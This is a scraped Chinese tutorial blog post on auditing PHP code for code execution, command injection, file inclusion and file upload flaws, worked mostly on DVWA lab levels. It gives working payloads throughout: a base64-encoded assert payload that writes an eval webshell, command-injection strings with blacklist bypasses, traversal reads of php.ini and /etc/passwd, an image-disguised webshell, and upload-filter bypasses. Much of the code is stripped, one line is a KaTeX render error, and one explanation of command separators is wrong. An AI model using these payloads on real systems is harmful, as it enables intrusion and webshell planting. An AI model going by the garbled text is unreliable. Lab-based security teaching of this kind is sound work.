代码审计——渗透测试(下)

代码执行审计

代码执行审计和sql漏洞审计很相似,sql注入是想sql语句注入在数据库中,代码执行是将可执行代码注入到webservice 。这些容易导致代码执行的函数有以下这些:eval(), asset() , preg_replace(),call_user_func(),call_user_func_array(),array_map()其中preg_replace()需要/e参数。

代码执行注入就是 在php里面有些函数中输入的字符串参数会当做PHP代码执行。

Eval函数在PHP手册里面的意思是:将输入的字符串编程PHP代码

1,先写个简单的代码测试一下(很俗套的代码)


直接接收orange参数,payload:?orange=phpinfo();

下面图可以看到成功执行。
代码审计——渗透测试(下)_第1张图片2,再看一个,测试代码如下

phpinfo()';
var_dump(preg_replace("/(.*?)$regexp","\\1",$String));
}
?>

可以看到代码有正则preg_replace(),所以现在需要/e参数,才能进行代码执行。

正则表达式过滤后是phpinfo(),正则表达式的意思是将String中含reg的字符串的样式去除。所以现在我们可以构造payload:?orange=/e ,现在解释一下为什么,preg_replace(),/(.*?)KaTeX parse error: Undefined control sequence: \/ at position 33: …表达式/(.*?)<\̲/̲php>/e,将String也就是phpinfo()过滤成phpinfo(),这样就可以成功执行了。
代码审计——渗透测试(下)_第2张图片代码审计——渗透测试(下)_第3张图片3,参数注入,测试代码如下

phpinfo()';
//var_dump(preg_replace("/(.*?)$regexp","\\1",$String));
preg_replace("/orange/e",$regexp,"i am orange");
}
?>

分析和上面差不多。
直接构造payload就好:?orange=phpinfo();
代码审计——渗透测试(下)_第4张图片
4,动态函数执行----一个超级隐蔽的后门
测试代码


仅用GET函数就构成了木马;利用方法payload:

?a=assert&b=${fputs(fopen(base64_decode(Yy5waHA),w),base64_decode(PD9waHAgQGV2YWwoJF9QT1NUW2NdKTsgPz4x))};

运行上述payload,会在同目录下生成c.php文件,里面的内容是1,生成一句话木马。
代码审计——渗透测试(下)_第5张图片
命令执行审计

代码执行说的是可执行的php脚本代码,命令执行就是可以执行系统命令(cmd)或者是应用指令(bash),这个漏洞也是因为传参过滤不严格导致的,

一般我们说的php可执行命令的函数有这些:system();exec();shell_exec();passthru();pcntl_exec();popen();proc_open();

反引号也是可以执行的,因为他调用了shell_exec这个函数。

1,测试代码:


直接GET传参,然后system()----执行shell命令也就是向dos发送一条指令

payload:?orange=net user 查看一下电脑的用户。
代码审计——渗透测试(下)_第6张图片2,再演示一个popen()函数
测试代码:

>C:/Users/ww/Desktop/1234.txt','r');
?>

只要php文件运行,就会在上述路径生成1234.txt文件,里面的内容是net user的结果。
代码审计——渗透测试(下)_第7张图片3,反引号命令执行

测试代码:


直接echo ,直接就可以执行命令
在这里插入图片描述DVWA分析

选择low级别,先进行一下黑盒测试。

输入8.8.8.8&&net user,可以看到成功执行两条命令
代码审计——渗透测试(下)_第8张图片下面分析一下,相关函数介绍

stristr(string,search,before_search)

stristr函数搜索字符串在另一字符串中的第一次出现,返回字符串的剩余部分(从匹配点),如果未找到所搜索的字符串,则返回 FALSE。参数string规定被搜索的字符串,参数search规定要搜索的字符串(如果该参数是数字,则搜索匹配该数字对应的ASCII 值的字符),可选参数before_true为布尔型,默认为“false” ,如果设置为 “true”,函数将返回 search 参数第一次出现之前的字符串部分。

php_uname(mode)

这个函数会返回运行php的操作系统的相关描述,参数mode可取值”a” (此为默认,包含序列”s n r v m”里的所有模式),”s ”(返回操作系统名称),”n”(返回主机名),” r”(返回版本名称),”v”(返回版本信息), ”m”(返回机器类型)。

命令连接符


command1 && command2 先执行command1后执行command2
command1 | command2 只执行command2
command1 & command2 先执行command2后执行command1

以上三种连接符在windows和linux环境下都支持
如果程序没有进行过滤,那么我们就可以通过连接符执行多条系统命令。

可以看到,服务器通过判断操作系统执行不同ping命令,但是对ip参数并未做任何的过滤,导致了严重的命令注入漏洞。

看下代码:

{$cmd}
"; } ?>

上面代码可以清楚的看到,对输入的命令没有过滤,直接进行参数的传递。可以通过用“&&”和“;”来执行额外的命令 ping 8.8.8.8&&net user

选择medium级别,先进行黑盒测试,

发现输入:8.8.8.8&&net user,不可以用,这个时候可以去掉一个,输入:8.8.8.8&net user,是可以”成功“的。

但是这里需要注意的是”&&”与” &”的区别:
Command 1&&Command 2
先执行Command 1,执行成功后执行Command 2,否则不执行Command 2

Command 1&Command 2
先执行Command 1,不管是否成功,都会执行Command 2

这个时候我们看下代码

 '',
';' => '',
);

// Remove any of the charactars in the array (blacklist).
$target = str_replace( array_keys( $substitutions ), $substitutions, $target );

// Determine OS and execute the ping command.
if( stristr( php_uname( 's' ), 'Windows NT' ) ) {
// Windows
$cmd = shell_exec( 'ping ' . $target );
}
else {
// *nix
$cmd = shell_exec( 'ping -c 4 ' . $target );
}

// Feedback for the end user
echo "
{$cmd}
"; } ?>

相比Low级别的代码,服务器端对ip参数做了一定过滤,即把”&&” ,”;”删除,本质上采用的是黑名单机制,因此依旧存在安全问题。

这个时候就可以开始利用了

***因为被过滤的只有”&&”与” ;”,所以”&”不会受影响。所以可以输入:8.8.8.8&net user

***由于使用的是str_replace把”&&”,”;”替换为空字符,因此可以采用以下方式绕过: 8.8.8.8;&net user
代码审计——渗透测试(下)_第9张图片这是因为”8.8.8.8&;&net user”中的” ;”会被替换为空字符,这样一来就变成了”8.8.8.8&;&net user” ,会成功执行。

选择high级别,先进行黑盒测试,结果发现,好多都被过滤掉了,没关系,看下代码

 '',
';' => '',
'| ' => '',
'-' => '',
'$' => '',
'(' => '',
')' => '',
'`' => '',
'||' => '',
);

// Remove any of the charactars in the array (blacklist).
$target = str_replace( array_keys( $substitutions ), $substitutions, $target );

// Determine OS and execute the ping command.
if( stristr( php_uname( 's' ), 'Windows NT' ) ) {
// Windows
$cmd = shell_exec( 'ping ' . $target );
}
else {
// *nix
$cmd = shell_exec( 'ping -c 4 ' . $target );
}

// Feedback for the end user
echo "
{$cmd}
"; } ?>

相比Medium级别的代码,High级别的代码进一步完善了黑名单,但由于黑名单机制的局限性,我们依然可以绕过。

漏洞利用

Command 1 | Command 2
“|”是管道符,表示将Command 1的输出作为Command 2的输入,并且只打印Command 2执行的结果。
黑名单看似过滤了所有的非法字符,但仔细观察到是把”| ”(注意这里|后有一个空格)替换为空字符,于是 ”|” 就有用了。

输入:8.8.8.8|net user

下图成功执行。
代码审计——渗透测试(下)_第10张图片文件包含审计

HP的文件包含可以直接执行包含文件的代码,包含的文件格式是不受限制的,只要能正常执行即可。

文件包含有这么两种:本地包含(LFI)和远程包含(RFI)。,顾名思义就能理解它们的区别在哪。

审计的时候函数都是一样的,这个四个包含函数: include() ; include_once() ; require();require_once().include 和 require 语句是相同的,除了错误处理方面:require 会生成致命错误(E_COMPILE_ERROR)并停止脚本,include 只生成警告(E_WARNING),并且脚本会继续。

先说一下本地包含,本地包含就指的是只能包含本机文件的漏洞,一般要配合上传,或者是已控的数据库来进行使用。

先写个简单的代码测试一下。

在www目录下新建两个php文件,baohan1.php,baohan2.php
baohan2.php代码



baohan1.php


打开baohan1.php,可以看到成功执行baohan2.php的代码,成功把banhan2.php给包含了
代码审计——渗透测试(下)_第11张图片这个时候稍微修改下代码。把baohan1.php的:include(“baohan2.php”);改成include(“baohan2.txt”);

把baohan2.php改成baohan2.txt。再次访问baihan1.php,可以看到成功包含,

代码审计——渗透测试(下)_第12张图片下来将baohan2.txt文件的扩展名分别改为jpg、rar、doc、xxx进行测试,发现都可以正确显示phpinfo信息。由此可知,只要文件内容符合PHP语法规范,那么任何扩展名都可以被PHP解析。

再来看一下远程文件包含

当服务器的php配置中选项allow_url_fopen与allow_url_include为开启状态时,服务器会允许包含远程服务器上的文件。如果对文件来源没有检查的话,就容易导致任意远程代码执行。

allow_url_include在默认情况下是关闭的,如果想要实验测试的话,可以去打开,但是真实环境中建议关闭。

DVWA分析

先选择low级别,先进行黑盒测试一下,进行包含,看到file1,file2,file3,试下file4,因为file.php存在,结果包含到了,并且提示you are rigjt。

这个时候可以进一步操作,可以使用…/让目录回到上级目录,以此来进行目标目录(通过多个…/可以让目录回到根目录中然后再进入目标目录),

试一下吧,?page=…/…/php.ini ,除了这么多还有其他的操作等待你去挖掘。
代码审计——渗透测试(下)_第13张图片代码审计——渗透测试(下)_第14张图片

现在分析一下代码


可以看到直接接收page参数,没有进行任何过滤操作,所以造成文件包含漏洞。

下面选择medium,先看下代码


增加了str_replace()函数,把传入的url里面的http,https,…/,…\ 替换成空格,但是使用str_replace函数是不安全的,因为可以使用双写绕过替换规则

比如:http和https可以用hthttp://tp:给绕过,因为只是过滤了…/和…\,所以可以用绝对路径进行绕过:?page=./…/./…/./…/php.ini
代码审计——渗透测试(下)_第15张图片
选择high级别,看下代码


使用了fnmatch函数:fnmatch() 函数根据指定的模式来匹配文件名或字符串。

检查page参数,要求page参数的开头必须是file开头,服务器才回去包含,但是我们可以利用file协议绕过防护策略,然后再进行包含

payload:?page=file://D:/wamp/www/DVWA-1.9/php.ini

代码审计——渗透测试(下)_第16张图片
最后看一下impossiable级别的代码


可以看到代码很简洁,page参数只能是"include.php",“file1.php”,“file2.php”,“file3.php”

否则直接exit。彻底不能文件包含了。

最后的最后再分享个文件包含的渗透小技巧

***读取敏感文件是文件包含漏洞的主要利用方式之一,比如服务器采用Linux系统,而用户又具有相应的权限,那么就可以利用文件包含漏洞去读取/etc/passwd文件的内容。

系统中常见的敏感信息路径如下:windows系统

代码审计——渗透测试(下)_第17张图片linux系统
代码审计——渗透测试(下)_第18张图片***文件包含漏洞的主要利用方式是配合文件上传。比如大多数网站都会提供文件上传功能,但一般只允许上传jpg或gif等图片文件,通过配合文件包含漏洞就可以在网站中生成一句话木马网页文件。
比如,在记事本中写入下面这段代码,并将之保存成jpg文件。

');
?>

可以成功进行包含,并且得到了一个orange.php一句话木马文件,密码是orange。进而进行下一步攻击。
代码审计——渗透测试(下)_第19张图片代码审计——渗透测试(下)_第20张图片
文件上传审计

其实个人认为文件上传黑盒测试的时候姿势特别多,白盒测试的时候除了明显的限制上传文件的类型外,白盒审计不如黑盒测试来的"刺激"。

文件上传应该是最常用的漏洞了,上传函数就那一个 move_uploaded_file();一般来说找这个漏洞就是直接ctrl+f 直接开搜。遇到没有过滤的直接传个一句话的webshell上去。

上传的漏洞比较多,Apache配置,iis解析漏洞等等。在php中一般都是黑白名单过滤,或者是文件头,content-type等等。一般来找上传的过滤函数进行分析就行。

(1) 未过滤或本地过滤:服务器端未过滤,直接上传PHP格式的文件即可利用。

(2) 黑名单扩展名过滤:限制不够全面:IIS默认支持解析.asp,.cdx, .asa,.cer等。不被允许的文件格式.php,但是我们可以上传文件名为1.php (注意后面有一个空格)

(3) 文件头 content-type验证绕过:getimagesize()函数:验证文件头只要为GIF89a,就会返回真。限制$_FILES[“file”][“type”]的值 就是人为限制content-type为可控变量。

(4)过滤不严或被绕过:比如大小写问题,网站只验证是否是小写,我们就可以把后缀名改成大写。

(5)文件解析漏洞:比如 Windows 系统会涉及到这种情况:文件名为1.php;.jpg,IIS 6.0 可能会认为它是jpg文件,但是执行的时候会以php文件来执行。我们就可以利用这个解析漏洞来上传。再比如 Linux 中有一些未知的后缀,比如a.php.xxx。由于 Linux 不认识这个后缀名,它就可能放行了,攻击者再执行这个文件,网站就有可能被控制。

(6)路径截断:就是在上传的文件中使用一些特殊的符号,使文件在上传时被截断。比如a.php%00.jpg,这样在网站中验证的时候,会认为后缀是jpg,但是保存到硬盘的时候会被截断为a.php,这样就是直接的php文件了。常用来截断路径的字符是:\0 , ? , %00 , 也可以超长的文件路径造成截断。

(4)等等等等,以后慢慢补充

忘了编译器了,编辑器漏洞和文件上传漏洞原理一样,只不过多了一个编辑器。上传的时候还是会把我们的脚本上传上去。不少编译器本身就存在文件上传漏洞,举个栗子:进入网站后台后如果找不到上传的地方或者其他姿势不好使的时候,就可以从编译器下手进行上传,从而GETSHELL。常见的编译器有:Ewebeditor,fckeditor,ckeditor,kindeditor等等。百度搜索各种编译器利用的相关姿势。网上很多这里就不写了。

先了解一下PHP通过$_FILES对象来读取文件,以便于下面的理解

PHP中通过$_FILES对象来读取文件,通过下列几个属性:

  • $_FILES[file][‘name’] - 被上传文件的名称。
  • $_FILES[file][‘type’] 被上传文件的类型。
  • $_FILES[file][‘size’] -被上传文件的大小(字节)。
  • $_FILES[file][‘tmp_name’] -被上传文件在服务器保存的路径,通常位于临时目录中。
  • $_FILES[file][‘error’] - 错误代码,0为无错误,其它都是有错误。

DVWA分析

选择low级别,先进行黑盒测试一下,直接上传个php一句话:

看到上传成功,路径(http://127.0.0.1/DVWA-1.9/hackable/uploads/upload.php)
代码审计——渗透测试(下)_第21张图片代码审计——渗透测试(下)_第22张图片
看一下代码

Your image was not uploaded.
'; } else { // Yes! echo "
{$target_path} succesfully uploaded!
"; } } ?>

不懂上面的函数什么意思可以百度一下,

basename()函数:basename(path,suffix) , basename() 函数返回路径中的文件名部分。如果可选参数suffix为空,则返回的文件名包含后缀名,反之不包含后缀名。move_uploaded_file()函数:move_uploaded_file(file,newloc) , move_uploaded_file() 函数将上传的文件移动到新位置。若成功,则返回 true,否则返回 false。本函数检查并确保由 file 指定的文件是合法的上传文件(即通过 PHP 的 HTTP POST 上传机制所上传的)。如果文件合法,则将其移动为由 newloc 指定的文件。

分析:DVWA_WEB_PAGE_TO_ROOT为网页的根目录,target_path变量为上传文件的绝对路径,basename( $_FILES[‘uploaded’][‘name’])将文件中已经“uploaded”的文件的名字取出并加入到target_path变量中。if语句判断文件是否上传到指定的路径中,若没有则显示没有上传。

可以看到,服务器对上传文件的类型、内容没有做任何的检查、过滤,存在明显的文件上传漏洞,所以可以上传任意文件,生成上传路径后,服务器会检查是否上传成功并返回相应提示信息。

选择mediem级别,看下代码

Your image was not uploaded.
'; } else { // Yes! echo "
{$target_path} succesfully uploaded!
"; } } else { // Invalid file echo '
Your image was not uploaded. We can only accept JPEG or PNG images.
'; } } ?>

可以看到对上传的类型和大小加以限制,限制文件类型必须是image/jpeg和image.png,并且上传文件的大小小于100000(97.6KB)

但是简单地设置检测文件的类型,因此可以通过burpsuite来修改文件的类型进行过滤即可

我们可以通过burpsuite抓包修改文件类型,具体如下图所示,通过抓包上传upload.php,把.php文件成功上传(上传的png文件是小于97.6KB的)

注:这里也是可以利用%00截断上传,讲下图中的upload.png改成upload.php%00.png就可以突破限制,成功上传。

代码审计——渗透测试(下)_第23张图片
代码审计——渗透测试(下)_第24张图片
选择high级别,看下代码

Your image was not uploaded.
'; } else { // Yes! echo "
{$target_path} succesfully uploaded!
"; } } else { // Invalid file echo '
Your image was not uploaded. We can only accept JPEG or PNG images.
'; } } ?>

分析:strrpos(string,find,start)

函数返回字符串find在另一字符串string中最后一次出现的位置,如果没有找到字符串则返回false,可选参数start规定在何处开始搜索。

getimagesize(string filename)

函数会通过读取文件头,返回图片的长、宽等信息,如果没有相关的图片文件头,函数会报错。

可以看到,High级别的代码读取文件名中最后一个”.”后的字符串,期望通过文件名来限制文件类型,因此要求上传文件名形式必须是”.jpg”、”.jpeg” 、”*.png”之一。同时,getimagesize函数更是限制了上传文件的文件头必须为图像类型。

用图片马进行绕过,抓包修改,把"phptupianma.png"改为"phptupianma.php.png"

在本来的文件名的文件名称和后缀名之间加上php的后缀形式,使其位于中间位置,以便于使其在服务器端当作php文件来执行,这样就可以成功上传。
代码审计——渗透测试(下)_第25张图片代码审计——渗透测试(下)_第26张图片

你可能感兴趣的:(笔记,web安全)